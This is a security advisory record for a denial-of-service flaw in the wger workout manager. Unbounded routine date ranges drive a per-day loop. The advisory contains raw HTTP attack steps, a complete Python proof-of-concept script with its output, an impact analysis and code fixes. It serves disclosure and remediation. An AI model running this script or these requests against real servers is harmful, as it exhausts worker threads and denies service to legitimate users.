{"id":"GHSA-v25j-wqcw-fvhj","aliases":[],"url":"https://o3.security/vulnerability/GHSA-v25j-wqcw-fvhj","summary":"wger has an Uncontrolled Resource Consumption issue","details":"### Summary\n\nAny authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.\n\n### Details\n\nThe `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:\n\n```python\n# File: wger/manager/models/routine.py, line 151\ndef clean(self):\n    if self.end and self.start and self.start > self.end:\n        raise ValidationError('The start time cannot be after the end time.')\n    # NO maximum duration check\n```\n\nThe `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.\n\nThe `date_sequence` property (line 256) uses an unbounded loop:\n\n```python\n# File: wger/manager/models/routine.py, line 256\nwhile current_date <= self.end:\n    # heavy computation per day: slots, entries, configs, logs\n    ...\n```\n\nA routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:\n\n- `GET /api/v2/routine/<id>/date-sequence-display/`\n- `GET /api/v2/routine/<id>/date-sequence-gym/`\n- `GET /api/v2/routine/<id>/structure/`\n- `GET /api/v2/routine/<id>/logs/`\n- `GET /api/v2/routine/<id>/stats/`\n\n### PoC\n\n#### Prerequisites\n\n- One authenticated user account\n- No special permissions required\n\n#### Attack Steps\n\n```\n# 1. Create a 100-year routine\nPOST /api/v2/routine/\nAuthorization: Token <token>\nContent-Type: application/json\n\n{\n    \"name\": \"DoS routine\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\"\n}\n\n# 2. Add at least one day (to make computation non-trivial)\nPOST /api/v2/day/\nAuthorization: Token <token>\nContent-Type: application/json\n\n{\n    \"routine\": <routine_id>,\n    \"order\": 1,\n    \"name\": \"Day A\"\n}\n\n# 3. Trigger the expensive computation\nGET /api/v2/routine/<routine_id>/date-sequence-display/\nAuthorization: Token <token>\n```\n\n**Expected:** HTTP 400 (routine duration exceeds maximum)\n**Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Unbounded date_sequence Denial of Service\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-400: Uncontrolled Resource Consumption\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport time\n\nif len(sys.argv) < 2:\n    print(f\"Usage: {sys.argv[0]} <BASE_URL>\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nATTACKER_USER = \"dos_attacker_poc\"\nATTACKER_PASS = \"DosAttack!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate ----\n\nprint(\"[1] Authenticating...\")\n\ntoken = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not token:\n    print(f\"    Registering account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        token = r.json().get(\"token\")\n    if not token:\n        token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not token:\n        print(f\"[-] Cannot authenticate. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Token: {token[:16]}...\")\n\nheaders = api_headers(token)\n\n\n# ---- 2. Create NORMAL routine (baseline) ----\n\nprint(\"\\n[2] Creating baseline routine (30 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"Normal 30-day routine\",\n    \"start\": \"2025-01-01\",\n    \"end\": \"2025-01-31\",\n})\nnormal_id = r.json()[\"id\"]\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": normal_id, \"order\": 1, \"name\": \"Day A\"\n})\n\nprint(f\"    Routine id={normal_id} (30 days)\")\nstart_time = time.time()\nr = requests.get(\n    f\"{API}/routine/{normal_id}/date-sequence-display/\",\n    headers=headers,\n)\nbaseline_time = time.time() - start_time\nbaseline_entries = len(r.json()) if r.status_code == 200 else 0\nprint(f\"    date-sequence-display: {r.status_code}, \"\n      f\"{baseline_entries} entries, {baseline_time:.2f}s\")\n\n\n# ---- 3. Create MALICIOUS routine (100 years) ----\n\nprint(f\"\\n[3] Creating malicious routine (100 years = 36,525 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"DoS routine - 100 years\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\",\n})\n\nif r.status_code != 201:\n    print(f\"    [-] Failed to create: {r.status_code} {r.text[:200]}\")\n    sys.exit(1)\n\ndos_id = r.json()[\"id\"]\nprint(f\"    Routine id={dos_id}\")\nprint(f\"    start=2000-01-01, end=2099-12-31\")\nprint(f\"    Duration: ~36,525 days (NO validation limit!)\")\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": dos_id, \"order\": 1, \"name\": \"DoS Day\"\n})\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  ATTACK: Triggering date_sequence on 100-year routine\")\nprint(f\"{'='*65}\")\n\nprint(f\"\\n  GET {API}/routine/{dos_id}/date-sequence-display/\")\nprint(f\"  This will iterate ~36,525 times in a while loop...\")\n\nstart_time = time.time()\ntry:\n    r = requests.get(\n        f\"{API}/routine/{dos_id}/date-sequence-display/\",\n        headers=headers,\n        timeout=120,\n    )\n    elapsed = time.time() - start_time\n    dos_entries = len(r.json()) if r.status_code == 200 else 0\n\n    print(f\"\\n  Response: HTTP {r.status_code}\")\n    print(f\"  Entries returned: {dos_entries}\")\n    print(f\"  Time elapsed: {elapsed:.2f}s\")\n\nexcept requests.exceptions.Timeout:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  REQUEST TIMED OUT after {elapsed:.2f}s!\")\n\nexcept requests.exceptions.ConnectionError:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  CONNECTION LOST after {elapsed:.2f}s!\")\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{'='*65}\")\n\nprint(f\"\\n  Baseline (30-day routine):\")\nprint(f\"    Entries: {baseline_entries}\")\nprint(f\"    Time:    {baseline_time:.2f}s\")\nprint(f\"\\n  Malicious (100-year routine):\")\nprint(f\"    Entries: {dos_entries}\")\nprint(f\"    Time:    {elapsed:.2f}s\")\n\nif elapsed > baseline_time * 5 or dos_entries > 10000:\n    slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')\n    print(f\"\\n  Slowdown factor: {slowdown:.1f}x\")\n    print(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Response was fast - server may have limits or caching.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\n[1] Authenticating...\n    Registering account...\n    Token: 2ffbb18316fc4e0f...\n\n[2] Creating baseline routine (30 days)...\n    Routine id=5 (30 days)\n    date-sequence-display: 200, 31 entries, 0.02s\n\n[3] Creating malicious routine (100 years = 36,525 days)...\n    Routine id=6\n    start=2000-01-01, end=2099-12-31\n    Duration: ~36,525 days (NO validation limit!)\n\n=================================================================\n  ATTACK: Triggering date_sequence on 100-year routine\n=================================================================\n\n  GET http://localhost/api/v2/routine/6/date-sequence-display/\n  This will iterate ~36,525 times in a while loop...\n\n  Response: HTTP 200\n  Entries returned: 36525\n  Time elapsed: 3.06s\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  Baseline (30-day routine):\n    Entries: 31\n    Time:    0.02s\n\n  Malicious (100-year routine):\n    Entries: 36525\n    Time:    3.06s\n\n  Slowdown factor: 138.4x\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.\n2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.\n3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required.\n4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits.\n5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.\n\n\n### Fix\n\n#### 1. Add maximum duration validation in the model\n\n```python\n# File: wger/manager/models/routine.py\nMAX_ROUTINE_DAYS = 365\n\ndef clean(self):\n    if self.end and self.start:\n        if self.start > self.end:\n            raise ValidationError('Start cannot be after end.')\n        if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:\n            raise ValidationError(\n                f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'\n            )\n```\n\n#### 2. Add the same validation in the serializer\n\n```python\n# File: wger/manager/api/serializers.py\nclass RoutineSerializer(serializers.ModelSerializer):\n    def validate(self, data):\n        start = data.get('start')\n        end = data.get('end')\n        if start and end and (end - start).days > 365:\n            raise serializers.ValidationError(\n                'Routine cannot span more than 365 days.'\n            )\n        return data\n```\n\n#### 3. Add a safety cap in date_sequence (defence-in-depth)\n\n```python\n# File: wger/manager/models/routine.py, inside date_sequence property\nMAX_SEQUENCE_DAYS = 400\ncount = 0\nwhile current_date <= self.end:\n    count += 1\n    if count > MAX_SEQUENCE_DAYS:\n        break\n    ...\n```","published":"2026-05-13T15:33:38Z","modified":"2026-05-13T15:48:50.260250Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"wger","fixedVersion":null}],"fix":{"url":"https://github.com/wger-project/wger/commit/5f07a4473e2c32d298c8cdd31d78e5107840039c","label":"wger-project/wger@5f07a44"},"references":[{"type":"WEB","url":"https://github.com/wger-project/wger/security/advisories/GHSA-v25j-wqcw-fvhj"},{"type":"WEB","url":"https://github.com/wger-project/wger/commit/5f07a4473e2c32d298c8cdd31d78e5107840039c"},{"type":"PACKAGE","url":"https://github.com/wger-project/wger"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-13T15:48:50.260250Z"}}